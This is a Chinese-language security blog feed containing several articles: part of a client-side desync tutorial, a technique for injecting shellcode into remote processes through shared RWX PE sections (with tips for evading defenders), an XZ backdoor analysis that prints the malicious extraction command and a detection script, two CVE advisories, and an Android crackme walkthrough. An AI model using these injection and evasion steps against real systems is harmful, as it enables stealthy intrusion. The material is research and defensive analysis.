這是有希望的，但不幸的是，一些安全服務器無需等待正文即可響應，因此你會遇到一些誤報。其他服務器沒有正確處理CL，而是在響應後立即關閉每個連接，使它們無法被利用。要過濾掉這些，請在同一連接下發送兩個請求，並查找第一個請求的正文影響對第二個的響應：

21.png

要在Burp Suite 中對此進行測試，將兩個請求放入Repeater中的一個標籤組，然後使用單連接發送序列。你還可以在Turbo Intruder 中通過禁用管道並將concurrentConnections 和requestsPerConnection 分別設置為1 和100 來實現此目的。

如果可行，請嘗試更改正文並確認第二個響應按預期更改。這個簡單的步驟旨在確認你對正在發生的事情的心理模型與現實相符。我個人在運行Citrix Web VPN 的系統上浪費了很多時間，只是意識到它只是為發送到某個端點的每個請求發出兩個HTTP 響應。

最後，重要的是要注意目標網站是否支持HTTP/2。 CSD 攻擊通常利用HTTP/1.1 連接重用，並且Web 瀏覽器更喜歡盡可能使用HTTP/2，因此如果目標網站支持HTTP/2，你的攻擊不太可能起作用。有一個例外；一些轉發代理不支持HTTP/2，因此你可以利用任何使用它們的人。這包括公司代理、某些VPN 甚至一些安全工具。

確認現在我們已經找到了CSD 向量，我們需要通過在真實瀏覽器中復制行為來排除任何潛在的漏洞。我推薦使用Chrome，因為它擁有創造CSD漏洞的最佳開發工具。

首先，選擇一個網站來發起攻擊。此網站必須通過HTTPS 訪問，並且位於與目標不同的域中。

接下來，確保你沒有配置代理，然後瀏覽到你的攻擊網站。打開開發人員工具並切換到網絡選項卡。為了幫助調試以後可能出現的問題，我建議進行以下調整：

選擇“保留日誌”複選框。

右鍵點擊列標題並啟用“連接ID”列。

切換到開發人員控制台並使用fetch()執行JavaScript來複製攻擊序列。如下所示：

22.png

我已將獲取模式設置為“no-cors”以確保Chrome 在“網絡”選項卡中顯示連接ID。我還設置了憑據：“包含”，因為Chrome 有兩個獨立的連接池，一個用於帶有cookie 的請求，一個用於不帶cookie 的請求。你通常會想要利用導航，並且那些使用“with-cookies”池。

執行此操作時，你應該在Network 選項卡中看到兩個具有相同連接ID 的請求，第二個應該觸發404：

23.png

如果這如預期的那樣工作，那麼恭喜你，你已經發現自己的客戶端不同步了！

探索過程現在我們已經確認了客戶端異步，下一步就是找到一個小工具來利用它。在Network選項卡中意外觸發404可能會給一些人留下深刻印象，但它不太可能產生任何用戶密碼或獎勵。

至此，我們已經確定我們可以攻擊受害者瀏覽器的連接池，並對我們選擇的HTTP 請求應用任意前綴。這是一個非常強大的原語，它提供了三種廣泛的攻擊途徑。

存儲在檢索位置一種選擇是識別目標網站上允許你存儲文本數據的功能，並編寫前綴，以便受害者的cookie、身份驗證標頭或密碼最終存儲在你可以檢索它們的位置。這種攻擊流程的工作原理與服務器端請求走私幾乎相同，所以我不會詳述。

Chainpivot下一個選項是全新的，由受害者瀏覽器中的新攻擊平台提供。

在正常情況下，很多類型的服務器端攻擊只能由直接訪問目標網站的攻擊者發起，因為它們依賴於瀏覽器拒絕發送的HTTP 請求。這幾乎包括了所有涉及篡改HTTP報頭的攻擊——Web 緩存攻擊、大多數服務器端請求走私、主機標頭攻擊、基於用戶代理的SQLi 以及許多其他攻擊。

例如，不可能讓其他人的瀏覽器在User-Agent 標頭中使用log4shell 有效負載發出以下請求：

24.png

CSD 漏洞為這些針對網站的攻擊打開了大門，這些網站由於位於受信任的內部網或隱藏在基於IP 的限制之後而受到保護。例如，如果intranet.example.com 易受CSD 攻擊，你可以使用以下請求達到相同的效果，可以在瀏覽器中使用fetch() 觸發該請求：

HireHackking

在本文中，我們將探討如何濫用某些特殊的PE節（PE Sections），在無需直接訪問進程的情況下將任意shellcode植入遠程進程的內存中。

跨進程橫向移動是惡意軟件中非常常見的一種技術，以便在系統間進行傳播。近年來，微軟已經通過“Microsoft-Windows-Threat-Intelligence”ETW提供程序增加了安全遙測功能，以對抗這種威脅。

當這種新增的遙測功能與現有的方法（如ObRegisterCallbacks）結合在一起後，攻擊者在進行橫向移動過程中，相關的惡意操作很難逃過內核可見遙測的法眼。在本文中，我們將探討如何濫用某些特殊的PE節，在無需直接訪問進程的情況下將任意shellcode植入遠程進程的內存中。

背景知識現有的橫向移動方法，通常都涉及危險的API調用，如OpenProcess，以獲得進程句柄，並伴有與內存相關的操作，如VirtualAlloc、VirtualProtect或WriteProcessMemory。近年來，針對這些操作的檢測有所增加。

例如，在舊版本的Windows上，內核驅動程序可見的唯一跨進程API調用，就是ObRegisterCallbacks，它常用於創建進程和線程句柄。

微軟威脅情報ETW提供程序引入的可見性已經擴展到涵蓋以下操作：

1、讀/寫虛擬內存調用（EtwTiLogReadWriteVm）；

2、可執行內存的分配（EtwTiLogAllocExecVm）；

3、將內存保護屬性改為可執行文件（EtwTiLogProtectExecVm）；

4、映射可執行節（EtwTiLogMapExecView）。

進入另一個進程上下文的其他方法通常與其他檢測向量一起出現。例如，橫向移動的另一種方法可能涉及基於磁盤的攻擊，如代理Dll注入。這類攻擊的問題在於，它們通常需要將惡意代碼寫入磁盤，這對於基於內核的防禦解決方案是可見的。

由於已知的跨進程移動方法需要用到這些可見的操作，因此，要想打敗防御者可用的遙測技術，就必須超越現有的方法。

發現過程最近，我研究了在不影響PE格式二進製文件可用性的條件下，可以將這種二進製文件破壞到哪種程度。例如，您是否可以將已知的惡意工具（如Mimikatz）破壞到這樣一種程度：既不會影響其可操作性，同時，還能讓反病毒軟件中內置的映像解析器無法正常對其進行解析？

與Linux中的ELF可執行文件類似，Windows PE映像也是由“節”組成的。例如，代碼通常存儲在名為.text的節中，可變數據可以在.data節中找到，而只讀數據通常存放到.rdata節中。但是，操作系統是如何知道哪些節包含代碼，或是可寫的呢？每個節都具有相應的“characteristics（特徵）”，用於記錄這段內存的相關信息。

對於PE節來說，單單記錄在冊的特徵就超過35個。其中，最常見的特徵包括IMAGE_SCN_MEM_EXECUTE、IMAGE_SCN_MEM_READ和IMAGE_SCN_MEM_WRITE，它們分別用於定義一個節是否為可執行、可讀和/或可寫的。然而，這些只是PE節的各種特徵中的一小部分而已。

當試圖破壞PE節頭時，一個特定的標誌引起了我的注意：

1.png

“IMAGE_SCN_MEM_SHARED”特徵

根據Microsoft的文檔，IMAGE_SCN_MEM_SHARED標誌表示“該節可以在內存中共享”。但是，這到底是什麼意思呢？在網絡中沒有找到太多關於該標誌的說明文檔，但事實證明，如果啟用該標誌，該節的內存將在加載了該映像的所有進程之間共享。例如，如果進程A和B加載一個PE映像，其中包含一個“共享”（並且可寫）的節，那麼進程A中該節的內存中的任何變化都將反映在進程B中。

與我們將在本文中討論的理論密切相關的一篇文獻是“DLL shared sections: a ghost of the past”。在這篇文章中，Coldwind探討了由具有IMAGE_SCN_MEM_SHARED特徵的PE節的二進製文件所帶來的潛在風險。

Coldwind解釋說，這些PE映像帶來的風險“是一個古老而眾所周知的安全問題”，並引用了微軟在2004年發表的一篇文章，題為“ Why shared sections are a security hole”。該文章只考察了“讀/寫共享節”和“只讀共享節”所構成的威脅，而沒有討論第三種可能，即“讀/寫/執行共享節”。

利用共享節儘管研究人員和微軟本身知道共享節的一般風險已經有很長一段時間了，但還沒有文獻對可讀、可寫和可執行(RWX-S)的共享節的潛在濫用進行過深入介紹。

RWX-S二進製文件具有極大的進攻潛力，這是因為：如果您可以使遠程進程加載指定的RWX-S二進製文件，那麼您就在遠程進程中獲得了一個可執行的內存頁，即使您對這個內存頁進行修改，基於內核的防禦解決方案也是看不到的。為了注入代碼，攻擊者可以將RWX-S二進製文件加載到自己的進程中，並在內存中使用他們想要的任何惡意代碼編輯該節，然後將RWX-S二進製文件加載到遠程進程中，這時，他們自己進程中的修改也會反映在受害者進程中。

加載RWX-S二進製文件本身的操作對防禦性解決方案仍然是可見的，但正如我們將在後面的部分中討論的那樣，對於在惡意上下文之外使用的合法RWX-S二進製文件，實際上有很多選擇的餘地。

使用這種技術時，有幾點需要注意：

1、攻擊者必須能夠將RWX-S二進製文件加載到遠程進程中。不過，該二進製文件不需要包含任何惡意代碼，但是，必須有一個PE節是RWX-S的。

2、如果RWX-S二進製文件是用於x86架構的，則x64進程內的LoadLibrary調用將失敗。不過，我們仍然可以通過打開文件、創建具有屬性SEC_IMAGE的節並映射節的視圖，在x64進程中手動映射x86二進製文件。

3、RWX-S二進製文件不在會話之間共享。 RWX-S二進製文件由同一會話中的非特權進程和特權進程共享。

4、對共享節的修改不會寫入磁盤。例如，由ReadFile返回的緩衝區，以及映射具有屬性SEC_COMMIT的映像時所返回的緩衝區，都不包含對共享節的任何修改。只有當二進製文件映射為SEC_IMAGE時，才會存在這些更改。這也意味著對共享節的任何修改都不會破壞磁盤上的驗證碼簽名。

5、除非所使用的RWX-S二進製文件的入口點位於共享可執行節中，否則攻擊者必須能夠在遠程進程中的任意地址執行代碼。這不需要直接的進程訪問。例如，SetWindowsHookEx可用於在沒有直接進程訪問權限的情況下執行模塊中的任意指針。

接下來，我們將為讀者介紹該理論的實際實現，以及RWX-S宿主二進製文件的在野普及情況。

通過修改入口點以獲得執行權限在某些情況下，可以繞過攻擊者必須能夠在遠程進程中執行任意指針的限制。

如果RWX-S宿主二進製文件的入口點位於RWX-S節內，則攻擊者不需要特殊的執行方法。

相反，在將RWX-S宿主二進製文件加載到遠程進程之前，攻擊者可以修改位於映像入口點的內存，使其指向指定的shellcode。當受害進程加載RWX-S宿主二進製文件並試圖執行入口點時，攻擊者的shellcode將被執行。

在野外尋找RWX-S二進製文件這項研究試圖解決的問題之一是“RWX-S的威脅有多廣泛？”。為了確定這項技術的流行程度，我使用了VirusTotal的Retrohunt功能，該功能允許用戶“使用……YARA規則掃描過去12個月中發送給VirusTotal的所有文件”。

為了在野外檢測無簽名的RWX-S二進製文件，我們創建了一個自定義YARA規則，專門用於檢查PE映像中的RWX-S節：

import'pe'

ruleRWX_S_Search

{

meta:

description='DetectsRWX-Sbinaries.'

author='BillDemirkapi'

condition:

foranyiin(0.pe.number_of_sections-1):(

(pe.sections[i].characteristicspe.SECTION_MEM_READ)and

(pe.sections[i].characteristicspe.SECTION_MEM_EXECUTE)and

(pe.sections[i].characteristicspe.SECTION_MEM_WRITE)and

(pe.sections[i].characteristicspe.SECTION_MEM_SHARED))

}這個規則所做的事情，就是枚舉二進製文件的PE節，並檢查它是否可讀、可寫、可執行和共享的。

當通過Retrohunt功能搜索這個規則時，會發現超過10,000個無簽名的二進製文件（當結果超過10,000個時，Retrohunt功能就會停止搜索）。

當再次搜索該規則時，可以稍微修改一下，以檢查PE映像對應的機器類型是否為MACHINE_AMD64機，這時，只找到了99個x64架構的RWX-S二進製文件。

這表明，在過去的12個月中，用於x64機器的RWX-S二進製文件相對不常見，同時還表明防禦性解決方案可能能夠過濾RWX-S二進製文件，而不會在受保護的機器上產生明顯的噪聲。

為了檢測已簽名的RWX-S二進製文件，只需對上面的YARA規則稍加修改，以包含對authenticode簽名的檢查。

import'pe'

ruleRWX_S_Signed_Search

{

meta:

description='DetectsRWX-Ssignedbinaries.Thisonlyverifiesthattheimagecontainsasignature,notthatitisvalid.'

author='BillDemirkapi'

condition:

foranyiin(0.pe.number_of_sections-1):(

(pe.sections[i].characteristicspe.SECTION_MEM_READ)and

(pe.sections[i].characteristicspe.SECTION_MEM_EXECUTE)and

(pe.sections[i].characteristicspe.SECTION_MEM_WRITE)and

(pe.sections[i].characteristicspe.SECTION_MEM_SHARED))

andpe.number_of_signatures0

}不幸的是，對於YARA規則，沒有一個簡單的方法來確定一個PE映像是否包含基於有效證書的authenticode簽名——所謂有效證書，指的是還未過期，或在證書有效期內用有效的時間戳簽名的。這意味著上面的YARA規則會包含一些具有無效簽名的二進製文件的誤報。由於存在誤報，上面的規則無法直接給出一個具有有效的authenticode簽名的RWX-S二進製文件清單。為了提取已簽名的二進製文件，我們編寫了一個簡單的Python腳本，下載低於檢測閾值的每個樣本並驗證每個二進製文件的簽名。

經過這一處理，發現了大約15個具有有效簽名的獨特二進製文件。正如未簽名的二進製文件檢查結果所示，在過去12個月裡，具有簽名的RWX-S二進製文件在野外並不是很多。此外，15個獨特的已簽名二進製文件中只有5個是用於x64機器。值得注意的是，雖然這個數字看起來很低，但使用已簽名的二進製文件只是為了方便，在大多數情況下肯定不是必需的。

濫用未簽名的RWX-S二進製文件修改未簽名的二進製文件鑑於諸如用戶模式代碼完整性之類的緩解措施尚未得到廣泛採用，因此，修改現有的未簽名二進製文件仍然是一種可行的方法。

若要通過未簽名的二進製文件來濫用RWX-S節，攻擊者可以：

1、查找要修改的、合法但未簽名的宿主DLL。

2、將未簽名的DLL讀入內存，並修改節的特徵，使其具有可讀、可寫、可執行和共享的特性。

3、在使用之前，將這個新修補的RWX-S宿主二進製文件寫入磁盤的某個位置。

以下是維護操作安全的幾點建議：

1、建議攻擊者不要修補磁盤上現有的二進製文件。例如，如果攻擊者只修改了現有二進製文件的節特徵，並將修改過的程序寫入磁盤上的同一路徑，則防禦解決方案可以檢測到RWX-S補丁已應用於現有的文件。因此，建議將修補後的二進製文件寫入磁盤上的不同位置。

2、建議攻擊者添加RWX-S以外的其他補丁程序，比如修改與節特徵相關的其他無意義的屬性，或者隨機修改部分代碼（重要的是這些修改看上去並不是惡意的）。這樣做，是為了迷惑對手。

使用現有的未簽名二進製文件實際上，攻擊者並不需要創建自定義的、應用過補丁的二進製文件。例如，使用上一節中的YARA規則，攻擊者可以使用任何可能用於合法應用程序的現有未簽名RWX-S二進製文件。

在內核中濫用已簽名的RWX-S二進製文件儘管在過去的12個月內只發現了15個有簽名的RWX-S二進製文件，但在利用可能需要已簽名模塊的進程時，具有有效的authenticode簽名這一事實可能非常有用。

搜索顯示的一個有趣的已簽名的RWX-S二進製文件是一個已簽名驅動程序。當試圖測試共享節是否可以從用戶模式複製到內核模式時，發現內存沒有共享，即使已經通過Session 0中的進程映射和修改了該映像。

小結儘管共享節的稀有性為防御者提供了獲得高保真遙測的獨特機會，但RWX-S二進製文件仍然是一種強大的方法，它戳破了關於跨進程內存分配和執行的常見臆想。圍繞這一技術，防御者面臨的主要挑戰是它在未簽名代碼中的普遍性。檢測RWX-S二進製文件可能相對簡單，但你如何判斷它是否被用於合法的應用程序呢？

HireHackking

漏洞概述image.png

2024年3月29日，開發人員Andres Freund在安全郵件列表上報告稱，他在調查SSH性能問題時發現了涉及XZ包中的供應鏈攻擊，分析後發現是SSH使用的上游liblzma庫被植入了後門代碼，可能允許攻擊者通過後門非授權訪問系統。

XZ Utils 是一款用於壓縮和解壓縮.xz 和.lzma 文件的工具集。 XZ Utils 由Lasse Collin 開發，是一個開源項目，廣泛應用於各種操作系統中，受影響開源操作系統可在https://repology.org/project/xz/versions中查詢.xz 文件格式是一種基於LZMA2 壓縮算法的文件格式，它提供了比傳統gzip 更高的壓縮比，同時保持了相對較高的解壓縮速度。 XZ Utils v5.6.0和v5.6.1中tar包的編譯文件被植入惡意命令。在某些特定編譯環境下，惡意命令執行後將替換正常編譯過程中的中間文件為後門文件，最後和其他組件一起編譯到XZ Utils的Liblzma庫文件中。當後門代碼被執行時，將掛鉤（HOOK）SSHD進程中的SSH登錄認證函數。當接收到指定的SSH數據包時，將未授權執行指定的系統命令。

漏洞細節分析1、植入流程目前XZ Utils的Github倉庫（https://github.com/tukaani-project/xz）已無法訪問。筆者分析時使用的版本是從其他鏡像網站下載的xz-5.6.1.tar.gz。初始惡意代碼主要在文件build-to-host.m4中。

screenshot-20240403-093338.png

這條命令拼接後為：sed 'r\n' ./tests/files/bad-3-corrupt_lzma2.xz | tr '\t \-_' ' \t_\-' | xz -d 2 /dev/null，主要從./tests/files/bad-3-corrupt_lzma2.xz中提取代碼並解壓，最後再執行。

提取出的代碼如下：

screenshot-20240403-093405.png

這部分代碼執行後，判斷是否為Linux系統，如果不是，則退出。

後面的代碼繼續從./tests/files/good-large_compressed.lzma文件中提取後續代碼，再解壓後執行。

提取的代碼如下：

screenshot-20240403-093440.png

提取出的代碼較多，主要功能是檢測到環境不適合時就退出，不執行植入後門的邏輯；如果環境合適，則繼續提取./tests/files/下的文件，然後替換編譯的中間過程文件liblzma_la-crc64-fast.o和liblzma_la-crc32_fast.o，最後編譯到XZ Utils的庫文件Liblzma中。

screenshot-20240403-093504.png

根據以上提取的代碼可知，在如下環境編譯將不會植入後門：

1、不是Linux系統(uname不為Linux)

2、沒有IFUNC.IFUNC是GLIBC中用於覆蓋符號的一個功能

3、不編譯動態庫(sharedobject)

4、不是x86_64,或者targettriple結尾不是linux-gnu

5、編譯器不是GCC,或者鏈接器不是GNUld

6、從測試文件中解壓預編譯的二進製文件

7、修改源碼和構建腳本

此外，指令集擴展檢測函數被替換掉，比原函數多一個參數，作用未知。

screenshot-20240403-093722.png

2、後門功能被植入後門的Liblzma庫文件被進程加載運行後，將進行一系列環境檢查，檢查通過再執行後門功能，包括：

1、未設置TERM環境變量

2、Argv[0]需要是/usr/sbin/sshd

3、LD_DEBUG、LD_PROFILE未設置

4、需要設置LANG

5、未檢測到調試器

screenshot-20240403-093823.png

通過以上檢查後，執行後門核心功能，主要功能是掛鉤（HOOK）SSH登錄認證過程中的函數RSA_public_decrypt，未授權執行指定的系統命令。即使用指定SSH證書進行登錄時，從公鑰中提取攻擊負載，然後進一步校驗，最後使用ChaCha20算法解密，將解密後數據作為命令執行。

screenshot-20240403-093859.png

部分已分析的函數功能如下：

screenshot-20240403-093926.png

漏洞檢測1、查看本地系統是否安裝了受影響版本的XZ，安全版本為xz5.6.0，xz --version

2、使用Openwall上發布的腳本檢查系統是否被感染後門，後門發現者提供的檢測腳本，判斷SSHD程序依賴的Liblzma庫文件二進制數據中是否包含後門特徵碼，該特徵碼為：

#! /bin/bashset -eu# find path to liblzma used by sshdpath='$(ldd $(which sshd) | grep liblzma | grep -o '/[^ ]*')'# does it even exist?if [ '$path'=='' ]then echo probably not vulnerable exitfi# check for function signatureif hexdump -ve '1/1 '%.2x'' '$path' | grep -q f30f1efa554889f54c89ce5389fb81e7000000804883ec28488954241848894c2410then echo probably vulnerableelse echo probably not vulnerablefi

f30f1efa554889f54c89ce5389fb81e7000000804883ec28488954241848894c2410，對應植入過程中的liblzma_la-crc64-fast.o文件，對應函數為get_cpuid。

screenshot-20240403-094025.png

解決方案官方暫未更新版本或補丁，建議相關用戶卸載含後門的版本，回退到未包含後門的穩定版本v5.4.6，並及時關注官方新版本更新。

screenshot-20240403-094052.png

參考鏈接https://www.openwall.com/lists/oss-security/2024/03/29/4

https://access.redhat.com/security/cve/CVE-2024-3094

https://www.openwall.com/lists/oss-security/2024/03/29/4

https://gist.github.com/smx-smx/a6112d54777845d389bd7126d6e9f504

https://avd.aliyun.com/detail?id=AVD-2024-3094

https://github.com/Midar/xz-backdoor-documentation/wikihttps://gist.github.com/keeganryan/a6c22e1045e67c17e88a606dfdf95ae4

https://git.tukaani.org/?p=xz.git;a=summary

文章來源：烽火台實驗室

HireHackking

漏洞概述漏洞類型

遠程命令執行

漏洞等級

嚴重

漏洞編號

CVE-2024-3400

漏洞評分

10

利用複雜度

低

影響版本

PAN-OS 11.1.* 11.1.2-h3

PAN-OS 11.0.* 11.0.4-h1

PAN-OS 10.2.* 10.2.9-h1

利用方式

遠程

POC/EXP

未公開

Palo Alto Networks的PAN-OS是一個運行在Palo Alto Networks防火牆和企業VPN設備上的操作系統。 Palo Alto Networks PAN-OS軟件的GlobalProtect功能存在命令注入漏洞，針對特定的PAN-OS版本和不同的功能配置，可能使未經身份驗證的攻擊者能夠在防火牆上以root權限執行任意代碼。 2024年4 月10日，Volexity 發現其一名網絡安全監控(NSM) 客戶對Palo Alto Networks PAN-OS GlobalProtect 功能中發現的漏洞進行了零日利用，攻擊者能夠創建反向shell、下載工具、竊取配置數據以及在網絡內橫向移動。 Palo Alto Networks PSIRT 團隊確認該漏洞為操作系統命令注入問題，並將其分配為CVE-2024-3400。

僅適用於啟用了GlobalProtect gateway(Network GlobalProtect Gateways)和device telemetry(Device Setup Telemetry)的PAN-OS 10.2、PAN-OS 11.0和PAN-OS 11.1防火牆。

資產測繪據www.daydaymap.com數據顯示，近半年國內風險資產分佈情況如下，主要分佈在台灣省。

QQ截图20240418162314.png

解決方案官方已發布修復方案，受影響的用戶建議更新至安全版本。

https://support.paloaltonetworks.com/support

HireHackking

漏洞概述漏洞類型

越界寫入/遠程命令執行

漏洞等級

高危

漏洞編號

CVE-2024-21762

漏洞評分

9.3

利用複雜度

低

影響版本

FortiOS FortiProxy

利用方式

遠程

POC/EXP

已公開

Fortinet FortiOS是美國飛塔（Fortinet）公司的一套專用於FortiGate網絡安全平台上的安全操作系統。該系統為用戶提供防火牆、防病毒、IPSec/SSLVPN、Web內容過濾和反垃圾郵件等多種安全功能。在SSL VPN組件中存在越界寫入漏洞，可能導致未經身份驗證的遠程威脅者通過特製HTTP請求執行任意命令或代碼。

具體影響版本：FortiOS7.4.0-7.4.2，7.2.0-7.2.6，7.0.0-7.0.13，6.4.0-6.4.14，6.2.0-6.2.15，6.0.0-6.0.17FortiProxy7.4.0-7.4.2，7.2.0-7.2.8，7.0.0-7.0.14，2.0.0-2.0.13，1.2-1.0漏洞復現3.png

daydaypoc漏洞平台於2024年3月12日已收錄該漏洞。

以下鏈接可查看詳情：

https://www.ddpoc.com/DVB-2024-6401.html

解決方案官方已修復該漏洞，受影響用戶可升級到以下安全版本：

FortiOS7.4版升級至=7.4.3

FortiOS7.2版本升級至=7.2.7

FortiOS7.0版本升級至=7.0.14

FortiOS6.4版本升級至=6.4.15

FortiOS6.2版本升級至=6.2.16

FortiOS6.0版本升級至=6.0.18

FortiProxy7.4版本升級至=7.4.3

FortiProxy7.2版本升級至7.2.9

FortiProxy7.0版本升級至=7.0.15

FortiProxy2.0版本升級至=2.0.14參考鏈接https://fortiguard.com/psirt/FG-IR-24-015

HireHackking

滲透測試Android 應用程序：工具和分步說明（上）

解決UnCrackable Apps 挑戰我們將向您展示如何解決兩個OWASP MSTG CrackMe 挑戰：Android 級別1 的UnCrackable 應用程序和Android 級別2 的UnCrackable 應用程序。這些應用程序專門設計為逆向工程挑戰，代碼中隱藏著秘密。我們的任務就是找到這些秘密。在解決這些挑戰時，我們將使用靜態分析來分析反編譯代碼，並使用動態分析來修改一些應用程序參數。

解決UnCrackable App for Android Level 1首先，我們需要查看我們的培訓應用程序。一個普通的Android 應用程序實際上是一個正確打包的APK 文件，其中包含應用程序正常運行所需的所有數據。

要從內部審視應用程序並解決這一挑戰，我們需要：

adb 用於與我們的移動設備和培訓應用程序通信

用於將我們的培訓應用程序的APK 文件反彙編為單獨的.smali 類的Apktool

jdb 用於調試我們的訓練應用程序

dex2jar 用於將APK 文件轉換為JAR 格式

用於處理JAR 文件的JD-GUI

現在讓我們繼續解決第一個挑戰。

我們將首先使用以下命令在我們的設備或模擬器上安裝UnCrackable-Level1.apk：

image.png

我們將在jdb 工具的幫助下解決這個挑戰並調試Release Android 應用程序。繼續尋找隱藏的秘密。

1. 解壓應用程序並使用Apktool 解碼清單文件：

image.png

2. 使用文本編輯器，通過更改清單文件並將應用程序設置為android:debuggable：將應用程序置於調試模式'true'：

XML

applicationandroid:allowBackup='true'android:debuggable='true'android:icon='@mipmap/ic_launcher'android:label='@string/app_name'android:theme='@style/AppTheme'3.使用Apktool重新打包APK文件：

image.png

4.退出新創建的APK文件。您可以使用bash 腳本來執行此操作以重新註冊Android 應用程序。

5. 使用以下命令在您的設備或模擬器上安裝新的APK 文件：

此時，我們面臨第一個大挑戰。 UnCrackable App 旨在抵抗調試模式。因此，當我們啟用它時，應用程序會簡單地關閉。

您將看到帶有警告的模態對話框。可以通過點擊確定關閉對話框，但這將是應用程序終止前的最後一個操作。

image.png

滲透測試android 1

幸運的是，有一種方法可以解決這個問題。

6. 在等待調試器模式下在您的設備或模擬器上啟動應用程序。此模式允許您在應用程序運行其檢測機制之前將調試器連接到目標應用程序。因此，應用程序不會停用調試模式。

使用以下命令在等待調試器模式下運行應用程序：

您將看到以下對話窗口：

image.png

滲透測試android 2

7. 現在顯示連接設備上運行的所有進程的進程ID (PID)：

image.png

8. 並且只列出可調試的進程：

image.png

9. 在您的主機上打開一個監聽套接字並將其傳入的TCP 連接轉發到所選可調試進程的JDWP 傳輸：

image.png

10. 請注意，附加調試器（在我們的例子中是jdb）將導致應用程序從掛起狀態恢復，我們不希望這樣。我們需要暫停該應用程序一段時間以對其進行詳細探索。為防止進程恢復，將suspend命令通過管道傳輸到jdb：

image.png

11. 現在我們需要繞過點擊確定後應用程序在運行時崩潰的那一刻。使用dex2jar 和JD-GUI 反編譯APK 文件以查看應用程序代碼：

1）使用dex2jar工具將原始APK文件轉為JAR文件：

image.png

2）使用JD-GUI工具，打開新建的JAR文件：

image.png

查看代碼後，您會看到MainActivity.a方法顯示消息：

'This is unacceptable.'

MainActivity.a方法創建一個警告對話框並為onClick 事件設置一個偵聽器類。偵聽器類有一個回調方法，當用戶點擊OK 按鈕時，該方法會關閉應用程序。為防止用戶取消對話框，系統調用setCancelable方法。

在這一點上，我們最好的情況是將應用程序暫停在我們正在尋找的秘密字符串存儲在明文變量中的狀態。不幸的是，除非您能弄清楚應用程序如何檢測root 和篡改，否則這是不可能的。

12. 嘗試稍微修改運行時以繞過應用程序終止。 android.app.Dialog.setCancelable在應用程序仍處於暫停狀態時設置方法斷點，然後恢復應用程序：

image.png

13. 應用程序在第一個setCancelable方法指令處暫停。您可以使用該locals命令打印傳遞給setCancelable方法的參數：

image.png

正如您在上面的代碼中看到的，系統調用了setCancelable(true)方法，所以這不是我們需要的調用。讓我們用resume命令恢復這個過程：

image.png

我們已經通過參數調用了setCancelablefalse方法。此時，我們需要使用set命令將變量更改為true並恢復應用程序：

image.png

每次到達斷點時繼續設置，flag直到最終顯示警報窗口。 true您可能需要嘗試五六次才能看到此窗口。此時，您應該能夠在不導致應用程序終止的情況下取消應用程序——只需點擊對話框窗口旁邊的屏幕，它就會關閉。

image.png

滲透測試android 3

14. 最後，是提取秘密字符串的時候了。再次查看應用程序代碼。您會注意到我們正在尋找的字符串是使用高級加密標準解密的，並與用戶在消息框中輸入的字符串進行比較。應用程序使用java.lang.String類的equals方法來確定字符串輸入是否與秘密字符串匹配。

現在在java.lang.String.equals上設置一個方法斷點，在編輯字段中輸入隨機文本，然後點擊VERIFY。 locals到達斷點後，您可以使用命令讀取方法參數：

image.png

答對了！我們的秘訣是“我想相信”。您可以通過在消息框中輸入此短語並單擊“驗證”按鈕來輕鬆檢查是否正確。

image.png

滲透測試android 4

做得好！現在我們可以開始解決第二個挑戰了。

解決UnCrackable App for Android Level 2與之前的任務一樣，在這個訓練應用程序的代碼中某處隱藏著一個秘密字符串，我們的目標是找到它。然而，在這種情況下，我們的秘密字符串可能有一些本地代碼的痕跡。

為了解決這個挑戰，我們將使用以下工具：

adb 用於與我們的移動設備通信

用於反彙編APK 文件的Apktool

用於處理庫的切割器

gbd 用於分析應用程序代碼

用於編輯二進制數據的Hex Workshop Editor

dex2jar 用於將APK 文件轉換為JAR 格式

用於處理JAR 文件的JD-GUI

讓我們直接解決這個挑戰：

1.使用dex2jar和JD-GUI，分析UnCrackable-Level2.apk文件。

1）首先，使用dex2jar將APK文件轉換為JAR文件：

image.png

2) 然後用JD-GUI打開轉換後的文件。從MainActivity類開始：

image.png

系統加載本機foo 庫。然後我們在MainActivity類的onInit方法中調用原生的init函數。

接下來，CodeCheck類從bar 庫中導入一個函數：

image.png

CodeCheck的一個方法（很可能被混淆了）使用這個函數來驗證密碼。

image.png

2.使用Apktool提取foo庫，然後用Cutter反編譯成機器碼：

image.png

在temp/lib 文件夾中，查找擴展名為.so 的文件。應該有針對不同類型處理器架構的文件：arm64-v8a、armeabi-v7a、x86 和x86_64。選擇與您正在使用的設備或模擬器的處理器架構相匹配的庫。您可以使用CPU-Z應用程序檢查設備的架構。

使用Cutter 分析所選庫。首先檢查功能選項卡以了解庫的功能。

例如：

pthread_create和pthread_exit函數表明函數庫使用線程。

image.png

滲透測試android 5

如果您看到strncmp字符串比較器，它可能用於驗證傳遞的密碼。如果幸運的話，我們正在尋找的字符串是硬編碼的，輸入的密碼會與它進行比較。然而，根據線程的使用判斷，我們可以假設庫在運行時計算秘密字符串。

image.png

滲透測試android 6

我們來分析一下strncmp函數。使用Cutter 找到strncmp函數的地址(0xffb)。

image.png

滲透測試android 7

ptrace是用於調試的Linux 系統調用。然而，在我們的例子中，它被用作一種反調試技術。

image.png

滲透測試android 8

讓我們分析一下ptrace的功能。這個調用被使用了兩次：第一次是在0x777，然後是0x7a7。在第一種情況下，它是當前進程的PID，在第二種情況下，它是PTRACE_ATTACH 標誌，0x10。

ptrace函數調用將一個Android 進程附加到自身。但是，一個Android 進程只能附加一個進程。這意味著目前我們無法將gdb 附加到Android 進程。

image.png

滲透測試android 9

3. 附加gdb 的問題可以通過NOP-ing 兩個ptrace 系統調用來解決。您可以使用Hex Workshop Editor 更改字節。將ptrace函數的地址插入工具的轉到字段並更改值：

image.png

滲透測試android 10

4. 打開原始APK 文件作為zip 存檔並將原始libfoo.so 庫替換為更改後的庫。

5. 使用與上一個挑戰相同的腳本退出修改後的APK 文件。

6. 在root 設備上安裝應用程序：

image.png

現在，當您啟動該應用程序時，您會看到一條警告，提示您無法使用該應用程序，因為設備已獲得root 權限。

image.png

滲透測試android 11

7.從應用程序代碼中刪除root 和調試器檢測。為此，請在反編譯的APK 文件中找到MainActivity.smali 文件並刪除a方法的所有內容。

當檢測到問題時調用a方法。它向用戶顯示一個警告對話框，然後退出應用程序。為了防止我們的應用程序出現此類行為，我們需要修補a方法。

這是刪除a方法內容後MainActivity.smali 文件的樣子：

image.png

8. 現在用修改後的MainActivity.smali文件重新打包APK 文件：

image.png

9. 接下來，打開UnCrackable-Level2_resigned.apk 文件作為ZIP 存檔，並將其中的classes.dex 文件替換為我們重新打包的APK 文件中的補丁文件。

